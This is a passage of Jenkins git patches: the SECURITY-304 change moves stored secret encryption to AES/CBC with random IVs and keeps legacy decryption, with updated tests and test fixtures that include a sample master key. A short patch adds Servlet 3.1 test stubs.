javax.crypto.SecretKey; +import java.io.IOException; +import java.security.GeneralSecurityException; + +import static java.nio.charset.StandardCharsets.UTF_8; + +/** + * Historical algorithms for decrypting {@link Secret}s. + */ +@Restricted(NoExternalUse.class) +public class HistoricalSecrets { + + /*package*/ static Secret decrypt(String data, CryptoConfidentialKey key) throws IOException, GeneralSecurityException { + byte[] in = Base64.decode(data.toCharArray()); + Secret s = tryDecrypt(key.decrypt(), in); + if (s!=null) return s; + + // try our historical key for backward compatibility + Cipher cipher = Secret.getCipher("AES"); + cipher.init(Cipher.DECRYPT_MODE, getLegacyKey()); + return tryDecrypt(cipher, in); + } + + /*package*/ static Secret tryDecrypt(Cipher cipher, byte[] in) { + try { + String plainText = new String(cipher.doFinal(in), UTF_8); + if(plainText.endsWith(MAGIC)) + return new Secret(plainText.substring(0,plainText.length()-MAGIC.length())); + return null; + } catch (GeneralSecurityException e) { + return null; // if the key doesn't match with the bytes, it can result in BadPaddingException + } + } + + /** + * Turns {@link Jenkins#getSecretKey()} into an AES key. + * + * @deprecated + * This is no longer the key we use to encrypt new information, but we still need this + * to be able to decrypt what's already persisted. + */ + @Deprecated + /*package*/ static SecretKey getLegacyKey() throws GeneralSecurityException { + String secret = Secret.SECRET; + if(secret==null) return Jenkins.getInstance().getSecretKeyAsAES128(); + return Util.toAes128Key(secret); + } + + private static final String MAGIC = "::::MAGIC::::"; +} diff --git a/core/src/main/java/hudson/util/Secret.java b/core/src/main/java/hudson/util/Secret.java index 9a4dcb750a..0ea02d7d47 100644 --- a/core/src/main/java/hudson/util/Secret.java +++ b/core/src/main/java/hudson/util/Secret.java @@ -2,6 +2,7 @@ * The MIT License * * Copyright (c) 2004-2010, Sun Microsystems, Inc., Kohsuke Kawaguchi + * Copyright (c) 2016, CloudBees Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal @@ -29,12 +30,12 @@ import com.thoughtworks.xstream.converters.UnmarshallingContext; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; import com.trilead.ssh2.crypto.Base64; +import java.util.Arrays; import jenkins.model.Jenkins; import hudson.Util; import jenkins.security.CryptoConfidentialKey; import org.kohsuke.stapler.Stapler; -import javax.crypto.SecretKey; import javax.crypto.Cipher; import java.io.Serializable; import java.io.UnsupportedEncodingException; @@ -44,6 +45,8 @@ import java.util.regex.Pattern; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; +import static java.nio.charset.StandardCharsets.UTF_8; + /** * Glorified {@link String} that uses encryption in the persisted form, to avoid accidental exposure of a secret. * @@ -58,13 +61,20 @@ import org.kohsuke.accmod.restrictions.NoExternalUse; * @author Kohsuke Kawaguchi */ public final class Secret implements Serializable { + private static final byte PAYLOAD_V1 = 1; /** * Unencrypted secret text. */ private final String value; + private byte[] iv; + + /*package*/ Secret(String value) { + this.value = value; + } - private Secret(String value) { + /*package*/ Secret(String value, byte[] iv) { this.value = value; + this.iv = iv; } /** @@ -100,20 +110,6 @@ public final class Secret implements Serializable { return value.hashCode(); } - /** - * Turns {@link Jenkins#getSecretKey()} into an AES key. - * - * @deprecated - * This is no longer the key we use to encrypt new information, but we still need this - * to be able to decrypt what's already persisted. - */ - @Deprecated - /*package*/ static SecretKey getLegacyKey() throws GeneralSecurityException { - String secret = SECRET; - if(secret==null) return Jenkins.getInstance().getSecretKeyAsAES128(); - return Util.toAes128Key(secret); - } - /** * Encrypts {@link #value} and returns it in an encoded printable form. * @@ -121,56 +117,95 @@ public final class Secret implements Serializable { */ public String getEncryptedValue() { try { - Cipher cipher = KEY.encrypt(); - // add the magic suffix which works like a check sum. - return new String(Base64.encode(cipher.doFinal((value+MAGIC).getBytes("UTF-8")))); + synchronized (this) { + if (iv == null) { //if we were created from plain text or other reason without iv + iv = KEY.newIv(); + } + } + Cipher cipher = KEY.encrypt(iv); + byte[] encrypted = cipher.doFinal(this.value.getBytes(UTF_8)); + byte[] payload = new byte[1 + 8 + iv.length + encrypted.length]; + int pos = 0; + // For PAYLOAD_V1 we use this byte shifting model, V2 probably will need DataOutput + payload[pos++] = PAYLOAD_V1; + payload[pos++] = (byte)(iv.length >> 24); + payload[pos++] = (byte)(iv.length >> 16); + payload[pos++] = (byte)(iv.length >> 8); + payload[pos++] = (byte)(iv.length); + payload[pos++] = (byte)(encrypted.length >> 24); + payload[pos++] = (byte)(encrypted.length >> 16); + payload[pos++] = (byte)(encrypted.length >> 8); + payload[pos++] = (byte)(encrypted.length); + System.arraycopy(iv, 0, payload, pos, iv.length); + pos+=iv.length; + System.arraycopy(encrypted, 0, payload, pos, encrypted.length); + return "{"+new String(Base64.encode(payload))+"}"; } catch (GeneralSecurityException e) { throw new Error(e); // impossible - } catch (UnsupportedEncodingException e) { - throw new Error(e); // impossible } } /** - * Pattern matching a possible output of {@link #getEncryptedValue}. - * Basically, any Base64-encoded value. - * You must then call {@link #decrypt} to eliminate false positives. + * Pattern matching a possible output of {@link #getEncryptedValue} + * Basically, any Base64-encoded value optionally wrapped by {@code {}}. + * You must then call {@link #decrypt(String)} to eliminate false positives. + * @see #ENCRYPTED_VALUE_PATTERN */ @Restricted(NoExternalUse.class) - public static final Pattern ENCRYPTED_VALUE_PATTERN = Pattern.compile("[A-Za-z0-9+/]+={0,2}"); + public static final Pattern ENCRYPTED_VALUE_PATTERN = Pattern.compile("\\{?[A-Za-z0-9+/]+={0,2}}?"); /** * Reverse operation of {@link #getEncryptedValue()}. Returns null * if the given cipher text was invalid. */ public static Secret decrypt(String data) { - if(data==null) return null; - try { - byte[] in = Base64.decode(data.toCharArray()); - Secret s = tryDecrypt(KEY.decrypt(), in); - if (s!=null) return s; + if (data == null) return null; - // try our historical key for backward compatibility - Cipher cipher = getCipher("AES"); - cipher.init(Cipher.DECRYPT_MODE, getLegacyKey()); - return tryDecrypt(cipher, in); - } catch (GeneralSecurityException e) { - return null; - } catch (UnsupportedEncodingException e) { - throw new Error(e); // impossible - } catch (IOException e) { - return null; - } - } - - /*package*/ static Secret tryDecrypt(Cipher cipher, byte[] in) throws UnsupportedEncodingException { - try { - String plainText = new String(cipher.doFinal(in), "UTF-8"); - if(plainText.endsWith(MAGIC)) - return new Secret(plainText.substring(0,plainText.length()-MAGIC.length())); - return null; - } catch (GeneralSecurityException e) { - return null; // if the key doesn't match with the bytes, it can result in BadPaddingException + if (data.startsWith("{") && data.endsWith("}")) { //likely CBC encrypted/containing metadata but could be plain text + byte[] payload; + try { + payload = Base64.decode(data.substring(1, data.length()-1).toCharArray()); + } catch (IOException e) { + return null; + } + switch (payload[0]) { + case PAYLOAD_V1: + // For PAYLOAD_V1 we use this byte shifting model, V2 probably will need DataOutput + int ivLength = ((payload[1] & 0xff) << 24) + | ((payload[2] & 0xff) << 16) + | ((payload[3] & 0xff) << 8) + | (payload[4] & 0xff); + int dataLength = ((payload[5] & 0xff) << 24) + | ((payload[6] & 0xff) << 16) + | ((payload[7] & 0xff) << 8) + | (payload[8] & 0xff); + if (payload.length != 1 + 8 + ivLength + dataLength) { + // not valid v1 + return null; + } + byte[] iv = Arrays.copyOfRange(payload, 9, 9 + ivLength); + byte[] code = Arrays.copyOfRange(payload, 9+ivLength, payload.length); + String text; + try { + text = new String(KEY.decrypt(iv).doFinal(code), UTF_8); + } catch (GeneralSecurityException e) { + // it's v1 which cannot be historical, but not decrypting + return null; + } + return new Secret(text, iv); + default: + return null; + } + } else { + try { + return HistoricalSecrets.decrypt(data, KEY); + } catch (GeneralSecurityException e) { + return null; + } catch (UnsupportedEncodingException e) { + throw new Error(e); // impossible + } catch (IOException e) { + return null; + } } } @@ -228,8 +263,6 @@ public final class Secret implements Serializable { } } - private static final String MAGIC = "::::MAGIC::::"; - /** * Workaround for JENKINS-6459 / http://java.net/jira/browse/GLASSFISH-11862 * @see #getCipher(String) @@ -246,6 +279,14 @@ public final class Secret implements Serializable { */ private static final CryptoConfidentialKey KEY = new CryptoConfidentialKey(Secret.class.getName()); + /** + * Reset the internal secret key for testing. + */ + @Restricted(NoExternalUse.class) + /*package*/ static void resetKeyForTest() { + KEY.resetForTest(); + } + private static final long serialVersionUID = 1L; static { diff --git a/core/src/main/java/hudson/util/SecretRewriter.java b/core/src/main/java/hudson/util/SecretRewriter.java index 6350adf0f3..8b8a574e6a 100644 --- a/core/src/main/java/hudson/util/SecretRewriter.java +++ b/core/src/main/java/hudson/util/SecretRewriter.java @@ -40,7 +40,7 @@ public class SecretRewriter { public SecretRewriter() throws GeneralSecurityException { cipher = Secret.getCipher("AES"); - key = Secret.getLegacyKey(); + key = HistoricalSecrets.getLegacyKey(); } /** @deprecated SECURITY-376: {@code backupDirectory} is ignored */ @@ -62,7 +62,7 @@ public class SecretRewriter { return s; // not a valid base64 } cipher.init(Cipher.DECRYPT_MODE, key); - Secret sec = Secret.tryDecrypt(cipher, in); + Secret sec = HistoricalSecrets.tryDecrypt(cipher, in); if(sec!=null) // matched return sec.getEncryptedValue(); // replace by the new encrypted value else // not encrypted with the legacy key. leave it unmodified diff --git a/core/src/main/java/jenkins/security/CryptoConfidentialKey.java b/core/src/main/java/jenkins/security/CryptoConfidentialKey.java index dd1dad9e37..f402706013 100644 --- a/core/src/main/java/jenkins/security/CryptoConfidentialKey.java +++ b/core/src/main/java/jenkins/security/CryptoConfidentialKey.java @@ -1,9 +1,15 @@ package jenkins.security; +import hudson.Main; import hudson.util.Secret; +import jenkins.model.Jenkins; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.DoNotUse; +import org.kohsuke.accmod.restrictions.NoExternalUse; import javax.crypto.Cipher; import javax.crypto.SecretKey; +import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.SecretKeySpec; import java.io.IOException; import java.security.GeneralSecurityException; @@ -15,6 +21,9 @@ import java.security.GeneralSecurityException; * @since 1.498 */ public class CryptoConfidentialKey extends ConfidentialKey { + @Restricted(NoExternalUse.class) //TODO remove when in mainline + public static final int DEFAULT_IV_LENGTH = 16; + private volatile SecretKey secret; public CryptoConfidentialKey(String id) { super(id); @@ -35,7 +44,7 @@ public class CryptoConfidentialKey extends ConfidentialKey { store(payload); } // Due to the stupid US export restriction JDK only ships 128bit version. - secret = new SecretKeySpec(payload,0,128/8, ALGORITHM); + secret = new SecretKeySpec(payload,0,128/8, KEY_ALGORITHM); } } } @@ -47,10 +56,12 @@ public class CryptoConfidentialKey extends ConfidentialKey { /** * Returns a {@link Cipher} object for encrypting with this key. + * @deprecated use {@link #encrypt(byte[])} */ + @Deprecated public Cipher encrypt() { try { - Cipher cipher = Secret.getCipher(ALGORITHM); + Cipher cipher = Secret.getCipher(KEY_ALGORITHM); cipher.init(Cipher.ENCRYPT_MODE, getKey()); return cipher; } catch (GeneralSecurityException e) { @@ -58,12 +69,68 @@ public class CryptoConfidentialKey extends ConfidentialKey { } } + /** + * Returns a {@link Cipher} object for encrypting with this key using the provided initialization vector. + * @param iv the initialization vector + * @return the cipher + */ + @Restricted(NoExternalUse.class) //TODO remove when in mainline + public Cipher encrypt(byte[] iv) { + try { + Cipher cipher = Secret.getCipher(ALGORITHM); + cipher.init(Cipher.ENCRYPT_MODE, getKey(), new IvParameterSpec(iv)); + return cipher; + } catch (GeneralSecurityException e) { + throw new AssertionError(e); + } + } + + /** + * Returns a {@link Cipher} object for decrypting with this key using the provided initialization vector. + * @param iv the initialization vector + * @return the cipher + */ + @Restricted(NoExternalUse.class) //TODO remove when in mainline + public Cipher decrypt(byte[] iv) { + try { + Cipher cipher = Secret.getCipher(ALGORITHM); + cipher.init(Cipher.DECRYPT_MODE, getKey(), new IvParameterSpec(iv)); + return cipher; + } catch (GeneralSecurityException e) { + throw new AssertionError(e); + } + } + + /** + * Generates a new Initialization Vector. + * @param length the length of the salt + * @return some random bytes + * @see #encrypt(byte[]) + */ + @Restricted(NoExternalUse.class) //TODO remove when in mainline + public byte[] newIv(int length) { + return ConfidentialStore.get().randomBytes(length); + } + + /** + * Generates a new Initialization Vector of default length. + * @return some random bytes + * @see #newIv(int) + * @see #encrypt(byte[]) + */ + @Restricted(NoExternalUse.class) //TODO remove when in mainline + public byte[] newIv() { + return newIv(DEFAULT_IV_LENGTH); + } + /** * Returns a {@link Cipher} object for decrypting with this key. + * @deprecated use {@link #decrypt(byte[])} */ + @Deprecated public Cipher decrypt() { try { - Cipher cipher = Secret.getCipher(ALGORITHM); + Cipher cipher = Secret.getCipher(KEY_ALGORITHM); cipher.init(Cipher.DECRYPT_MODE, getKey()); return cipher; } catch (GeneralSecurityException e) { @@ -72,5 +139,18 @@ public class CryptoConfidentialKey extends ConfidentialKey { } - private static final String ALGORITHM = "AES"; + private static final String KEY_ALGORITHM = "AES"; + private static final String ALGORITHM = "AES/CBC/PKCS5Padding"; + + /** + * Reset the internal secret key for testing. + */ + @Restricted(NoExternalUse.class) + public void resetForTest() { + if (Main.isUnitTest) { + this.secret = null; + } else { + throw new IllegalStateException("Only for testing"); + } + } } diff --git a/core/src/test/groovy/hudson/util/SecretRewriterTest.groovy b/core/src/test/groovy/hudson/util/SecretRewriterTest.groovy index f198bdd8a3..b748703ac1 100644 --- a/core/src/test/groovy/hudson/util/SecretRewriterTest.groovy +++ b/core/src/test/groovy/hudson/util/SecretRewriterTest.groovy @@ -23,42 +23,49 @@ class SecretRewriterTest { @Rule public TemporaryFolder tmp = new TemporaryFolder() + def FOO_PATTERN = /\{[A-Za-z0-9+\/]+={0,2}}<\/foo>/ + def MSG_PATTERN = /\{[A-Za-z0-9+\/]+={0,2}}<\/msg>/ + def FOO_PATTERN2 = /(\{[A-Za-z0-9+\/]+={0,2}}<\/foo>){2}/ + def ABC_FOO_PATTERN = /\s\{[A-Za-z0-9+\/]+={0,2}}<\/foo>\s<\/abc>/ + @Test void singleFileRewrite() { def o = encryptOld('foobar') // old def n = encryptNew('foobar') // new roundtrip "${o}", - "${n}" + {assert it ==~ FOO_PATTERN} + roundtrip "${o}${o}", - "${n}${n}" + {assert it ==~ FOO_PATTERN2} roundtrip "${n}", - "${n}" + {assert it == "${n}"} roundtrip " thisIsLegalBase64AndLongEnoughThatItCouldLookLikeSecret ", - " thisIsLegalBase64AndLongEnoughThatItCouldLookLikeSecret " + {assert it == "thisIsLegalBase64AndLongEnoughThatItCouldLookLikeSecret"} // to be rewritten, it needs to be between a tag - roundtrip "$o", "$o" - roundtrip "$o", "$o" + roundtrip "$o", {assert it == "$o"} + roundtrip "$o", {assert it == "$o"} // - roundtrip "\n$o\n", "\n$n\n" + roundtrip "\n$o\n", {assert it ==~ ABC_FOO_PATTERN} } - void roundtrip(String before, String after) { + void roundtrip(String before, Closure check) { def sr = new SecretRewriter(null); def f = File.createTempFile("test", "xml", tmp.root) f.text = before sr.rewrite(f,null) - assert after.replaceAll(System.getProperty("line.separator"), "\n").trim()==f.text.replaceAll(System.getProperty("line.separator"), "\n").trim() + check(f.text.replaceAll(System.getProperty("line.separator"), "\n").trim()) + //assert after.replaceAll(System.getProperty("line.separator"), "\n").trim()==f.text.replaceAll(System.getProperty("line.separator"), "\n").trim() } String encryptOld(str) { def cipher = Secret.getCipher("AES"); - cipher.init(Cipher.ENCRYPT_MODE, Secret.legacyKey); - return new String(Base64.encode(cipher.doFinal((str + Secret.MAGIC).getBytes("UTF-8")))) + cipher.init(Cipher.ENCRYPT_MODE, HistoricalSecrets.legacyKey); + return new String(Base64.encode(cipher.doFinal((str + HistoricalSecrets.MAGIC).getBytes("UTF-8")))) } String encryptNew(str) { @@ -99,11 +106,11 @@ class SecretRewriterTest { assert 6==sw.rewriteRecursive(t, st) dirs.each { p-> - assert new File(t,"$p/foo.xml").text.trim()==answer + assert new File(t,"$p/foo.xml").text.trim() ==~ MSG_PATTERN } // t2 is only reachable by following a symlink. this should be covered, too - assert new File(t2,"foo.xml").text.trim()==answer.trim(); + assert new File(t2,"foo.xml").text.trim() ==~ MSG_PATTERN } } diff --git a/core/src/test/groovy/hudson/util/SecretTest.groovy b/core/src/test/groovy/hudson/util/SecretTest.groovy index f7a0ba3ad0..8f39ae7ec0 100644 --- a/core/src/test/groovy/hudson/util/SecretTest.groovy +++ b/core/src/test/groovy/hudson/util/SecretTest.groovy @@ -31,7 +31,8 @@ import org.junit.Rule import org.junit.Test import java.util.Random; -import javax.crypto.Cipher; +import javax.crypto.Cipher +import java.util.regex.Pattern; /** * @author Kohsuke Kawaguchi @@ -43,6 +44,8 @@ public class SecretTest { @Rule public MockSecretRule mockSecretRule = new MockSecretRule() + static final Pattern ENCRYPTED_VALUE_PATTERN = Pattern.compile("\\{?[A-Za-z0-9+/]+={0,2}}?"); + @Test void testEncrypt() { def secret = Secret.fromString("abc"); @@ -54,6 +57,11 @@ public class SecretTest { // can we round trip? assert secret==Secret.fromString(secret.encryptedValue); + + //Two consecutive encryption requests of the same object should result in the same encrypted value - SECURITY-304 + assert secret.encryptedValue == secret.encryptedValue + //Two consecutive encryption requests of different objects with the same value should not result in the same encrypted value - SECURITY-304 + assert secret.encryptedValue != Secret.fromString(secret.plainText).encryptedValue } @Test @@ -62,9 +70,16 @@ public class SecretTest { String plaintext = RandomStringUtils.random(new Random().nextInt(i)); String ciphertext = Secret.fromString(plaintext).getEncryptedValue(); //println "${plaintext} → ${ciphertext}" - assert Secret.ENCRYPTED_VALUE_PATTERN.matcher(ciphertext).matches(); + assert ENCRYPTED_VALUE_PATTERN.matcher(ciphertext).matches(); } - assert !Secret.ENCRYPTED_VALUE_PATTERN.matcher("hello world").matches(); + //Not "plain" text + assert !ENCRYPTED_VALUE_PATTERN.matcher("hello world").matches(); + //Not "plain" text + assert !ENCRYPTED_VALUE_PATTERN.matcher("helloworld!").matches(); + //legacy key + assert ENCRYPTED_VALUE_PATTERN.matcher("abcdefghijklmnopqr0123456789").matches(); + //legacy key + assert ENCRYPTED_VALUE_PATTERN.matcher("abcdefghijklmnopqr012345678==").matches(); } @Test @@ -77,7 +92,7 @@ public class SecretTest { def s = Secret.fromString("Mr.Jenkins"); def xml = Jenkins.XSTREAM.toXML(s); assert !xml.contains(s.plainText) - assert xml.contains(s.encryptedValue) + assert xml ==~ /\{[A-Za-z0-9+\/]+={0,2}}<\/hudson\.util\.Secret>/ def o = Jenkins.XSTREAM.fromXML(xml); assert o==s : xml; @@ -104,11 +119,11 @@ public class SecretTest { */ @Test void migrationFromLegacyKeyToConfidentialStore() { - def legacy = Secret.legacyKey + def legacy = HistoricalSecrets.legacyKey ["Hello world","","\u0000unprintable"].each { str -> def cipher = Secret.getCipher("AES"); cipher.init(Cipher.ENCRYPT_MODE, legacy); - def old = new String(Base64.encode(cipher.doFinal((str + Secret.MAGIC).getBytes("UTF-8")))) + def old = new String(Base64.encode(cipher.doFinal((str + HistoricalSecrets.MAGIC).getBytes("UTF-8")))) def s = Secret.fromString(old) assert s.plainText==str : "secret by the old key should decrypt" assert s.encryptedValue!=old : "but when encrypting, ConfidentialKey should be in use" diff --git a/test/src/test/java/hudson/util/SecretCompatTest.java b/test/src/test/java/hudson/util/SecretCompatTest.java new file mode 100644 index 0000000000..8c440c4ff9 --- /dev/null +++ b/test/src/test/java/hudson/util/SecretCompatTest.java @@ -0,0 +1,121 @@ +/* + * The MIT License + * + * Copyright (c) 2004-2010, Sun Microsystems, Inc., Kohsuke Kawaguchi + * Copyright (c) 2016, CloudBees Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package hudson.util; + +import hudson.model.FreeStyleProject; +import hudson.model.ParameterDefinition; +import hudson.model.ParametersDefinitionProperty; +import hudson.model.PasswordParameterDefinition; +import org.hamcrest.core.Is; +import org.junit.After; +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.jvnet.hudson.test.Issue; +import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.recipes.LocalData; + +import java.io.IOException; +import java.util.regex.Pattern; + +import static org.hamcrest.core.Is.isA; +import static org.hamcrest.core.IsNot.not; +import static org.hamcrest.core.StringContains.containsString; +import static org.junit.Assert.*; + +/** + * Tests {@link Secret}. + */ +public class SecretCompatTest { + + @Rule + public JenkinsRule j = new JenkinsRule() { + @Override + public void before() throws Throwable { + Secret.resetKeyForTest(); //As early as possible + super.before(); + } + }; + + @After + public void after() { + Secret.resetKeyForTest(); + } + + + @Test + @Issue("SECURITY-304") + public void encryptedValueStaysTheSameAfterRoundtrip() throws Exception { + FreeStyleProject project = j.createFreeStyleProject(); + project.addProperty(new ParametersDefinitionProperty(new PasswordParameterDefinition("p", "s3cr37", "Keep this a secret"))); + project = j.configRoundtrip(project); + String round1 = project.getConfigFile().asString(); + project = j.configRoundtrip(project); + String round2 = project.getConfigFile().asString(); + assertEquals(round1, round2); + + + //But reconfiguring will make it a new value + project = j.jenkins.getItemByFullName(project.getFullName(), FreeStyleProject.class); + project.removeProperty(ParametersDefinitionProperty.class); + project.addProperty(new ParametersDefinitionProperty(new PasswordParameterDefinition("p", "s3cr37", "Keep this a secret"))); + project = j.configRoundtrip(project); + String round3 = project.getConfigFile().asString(); + assertNotEquals(round2, round3); + //Saving again will produce the same + project = j.configRoundtrip(project); + String round4 = project.getConfigFile().asString(); + assertEquals(round3, round4); + } + + @Test + @Issue("SECURITY-304") + @LocalData + public void canReadPreSec304Secrets() throws Exception { + FreeStyleProject project = j.jenkins.getItemByFullName("OldSecret", FreeStyleProject.class); + String oldxml = project.getConfigFile().asString(); + //It should be unchanged on disk + assertThat(oldxml, containsString("z/Dd3qrHdQ6/C5lR7uEafM/jD3nQDrGprw3XsfZ/0vo=")); + ParametersDefinitionProperty property = project.getProperty(ParametersDefinitionProperty.class); + ParameterDefinition definition = property.getParameterDefinitions().get(0); + assertTrue(definition instanceof PasswordParameterDefinition); + Secret secret = ((PasswordParameterDefinition) definition).getDefaultValueAsSecret(); + assertEquals("theSecret", secret.getPlainText()); + + //OK it was read correctly from disk, now the first roundtrip should update the encrypted value + + project = j.configRoundtrip(project); + String newXml = project.getConfigFile().asString(); + assertNotEquals(oldxml, newXml); //This could have changed because Jenkins has moved on, so not really a good check + assertThat(newXml, not(containsString("z/Dd3qrHdQ6/C5lR7uEafM/jD3nQDrGprw3XsfZ/0vo="))); + Pattern p = Pattern.compile("\\{[A-Za-z0-9+/]+={0,2}}"); + assertTrue(p.matcher(newXml).find()); + + //But the next roundtrip should result in the same data + project = j.configRoundtrip(project); + String round2 = project.getConfigFile().asString(); + assertEquals(newXml, round2); + } +} diff --git a/test/src/test/java/jenkins/security/RekeySecretAdminMonitorTest.java b/test/src/test/java/jenkins/security/RekeySecretAdminMonitorTest.java index ea7a08ba45..413b4a6eed 100644 --- a/test/src/test/java/jenkins/security/RekeySecretAdminMonitorTest.java +++ b/test/src/test/java/jenkins/security/RekeySecretAdminMonitorTest.java @@ -11,6 +11,7 @@ import hudson.Util; import hudson.util.Secret; import hudson.util.SecretHelper; import org.apache.commons.io.FileUtils; +import org.hamcrest.CoreMatchers; import org.jvnet.hudson.test.HudsonTestCase; import org.jvnet.hudson.test.recipes.Recipe.Runner; import org.xml.sax.SAXException; @@ -20,6 +21,9 @@ import javax.inject.Inject; import java.io.File; import java.io.IOException; import java.lang.annotation.Annotation; +import java.util.regex.Pattern; + +import static org.junit.Assert.assertThat; /** * @author Kohsuke Kawaguchi @@ -28,6 +32,8 @@ public class RekeySecretAdminMonitorTest extends HudsonTestCase { @Inject RekeySecretAdminMonitor monitor; + final String plain_regex_match = ".*\\{[A-Za-z0-9+/]+={0,2}}.*"; + @Override protected void setUp() throws Exception { SecretHelper.set(TEST_KEY); @@ -76,8 +82,8 @@ public class RekeySecretAdminMonitorTest extends HudsonTestCase { private void verifyRewrite(File dir) throws Exception { File xml = new File(dir, "foo.xml"); - assertEquals("" + encryptNew(TEST_KEY) + "".trim(), - FileUtils.readFileToString(xml).trim()); + Pattern pattern = Pattern.compile(""+plain_regex_match+""); + assertTrue(pattern.matcher(FileUtils.readFileToString(xml).trim()).matches()); } // TODO sometimes fails: "Invalid request submission: {json=[Ljava.lang.String;@2c46358e, .crumb=[Ljava.lang.String;@35661457}" diff --git a/test/src/test/java/lib/form/PasswordTest.java b/test/src/test/java/lib/form/PasswordTest.java index 595b0e7e85..0a9f5eb149 100644 --- a/test/src/test/java/lib/form/PasswordTest.java +++ b/test/src/test/java/lib/form/PasswordTest.java @@ -43,10 +43,13 @@ import java.io.PrintStream; import java.util.Arrays; import java.util.Collections; import java.util.Locale; +import java.util.regex.Pattern; + import jenkins.model.Jenkins; import org.acegisecurity.Authentication; import static org.hamcrest.Matchers.containsString; import static org.hamcrest.Matchers.not; +import static org.hamcrest.core.Is.is; import static org.junit.Assert.assertThat; import org.jvnet.hudson.test.HudsonTestCase; import org.jvnet.hudson.test.Issue; @@ -78,10 +81,19 @@ public class PasswordTest extends HudsonTestCase implements Describable" + sEnc + "")); + + assertThat(Pattern.compile("" + xml_regex_match + "").matcher(xmlAdmin).find(), is(true)); assertThat(xmlAdmin, containsString("" + p.getDisplayName() + "")); assertThat(xmlAdmin, containsString("" + p.getDescription() + "")); // CLICommandInvoker does not work here, as it sets up its own SecurityRealm + AuthorizationStrategy. @@ -131,11 +144,11 @@ public class PasswordTest extends HudsonTestCase implements Describable + + + 1.625.4-SNAPSHOT (private-12/16/2016 18:04 GMT-rsandell) + 2 + NORMAL + true + + + false + + ${ITEM_ROOTDIR}/workspace + ${ITEM_ROOTDIR}/builds + + + + + 5 + 0 + + + + All + false + false + + + + All + 0 + + + + \ No newline at end of file diff --git a/test/src/test/resources/hudson/util/SecretCompatTest/canReadPreSec304Secrets/jobs/OldSecret/config.xml b/test/src/test/resources/hudson/util/SecretCompatTest/canReadPreSec304Secrets/jobs/OldSecret/config.xml new file mode 100644 index 0000000000..e094ad77fd --- /dev/null +++ b/test/src/test/resources/hudson/util/SecretCompatTest/canReadPreSec304Secrets/jobs/OldSecret/config.xml @@ -0,0 +1,27 @@ + + + + + false + + + + + alice + theSecret + z/Dd3qrHdQ6/C5lR7uEafM/jD3nQDrGprw3XsfZ/0vo= + + + + + + true + false + false + false + + false + + + + \ No newline at end of file diff --git a/test/src/test/resources/hudson/util/SecretCompatTest/canReadPreSec304Secrets/secrets/hudson.util.Secret b/test/src/test/resources/hudson/util/SecretCompatTest/canReadPreSec304Secrets/secrets/hudson.util.Secret new file mode 100644 index 0000000000000000000000000000000000000000..cdec3920fbc06ca5f07e25e884ea246c80f898d4 GIT binary patch literal 272 zcmV+r0q_2*6%{s0ht|6$Z8z))t|l)&1ny;IB`WdC+cNvem;y-ic$|YUZcP z7)L*-wH8Ml#ULpjze85UAdBs5{CyvOY1|MBD9#gu-M-3yCnC>9c}H&cV&KMWsX`xd zvgnC7{{@5o4f7ZkQ=z8rXE;Ztvx2o_XNBer_PlM$sL~1(njgRLp(=QJ+8C*6+wlE` zaK`~?T4b6>p-#u>XiKswSqwa literal 0 HcmV?d00001 diff --git a/test/src/test/resources/hudson/util/SecretCompatTest/canReadPreSec304Secrets/secrets/master.key b/test/src/test/resources/hudson/util/SecretCompatTest/canReadPreSec304Secrets/secrets/master.key new file mode 100644 index 0000000000..2572203a97 --- /dev/null +++ b/test/src/test/resources/hudson/util/SecretCompatTest/canReadPreSec304Secrets/secrets/master.key @@ -0,0 +1 @@ +4311ab5e95e3da7b9b1360b52cac6f0f666db7b48f9f701296cc07c8f00612b451f1874e584d49560810619e8a6ff6b19f8f58ae1305c515fc62a7b60ea3a69e6058cad16b2c8df317952b749fdaaecab013431da55bb4ea4b8eee754fa043261b51a99a2b537fd57f867cdcb1e209f3bba735a8672dbfc3f10b0e2209a81683 \ No newline at end of file -- GitLab From 1b76edd98702b34248625d5dc349d57ae7ad52e6 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Thu, 12 Jan 2017 17:24:54 -0500 Subject: [PATCH 557/712] Compilable against Servlet 3.1. --- .../java/hudson/util/XStream2Security383Test.java | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/test/src/test/java/hudson/util/XStream2Security383Test.java b/test/src/test/java/hudson/util/XStream2Security383Test.java index 1e3897a5f2..7e089e4cc4 100644 --- a/test/src/test/java/hudson/util/XStream2Security383Test.java +++ b/test/src/test/java/hudson/util/XStream2Security383Test.java @@ -14,6 +14,7 @@ import org.kohsuke.stapler.StaplerResponse; import org.mockito.Mock; import org.mockito.MockitoAnnotations; +import javax.servlet.ReadListener; import javax.servlet.ServletInputStream; import java.io.File; import java.io.IOException; @@ -116,5 +117,17 @@ public class XStream2Security383Test { public int read() throws IOException { return inner.read(); } + @Override + public boolean isFinished() { + throw new UnsupportedOperationException(); + } + @Override + public boolean isReady() { + throw new UnsupportedOperationException(); + } + @Override + public void setReadListener(ReadListener readListener) { + throw new UnsupportedOperationException(); + } } } -- GitLab From 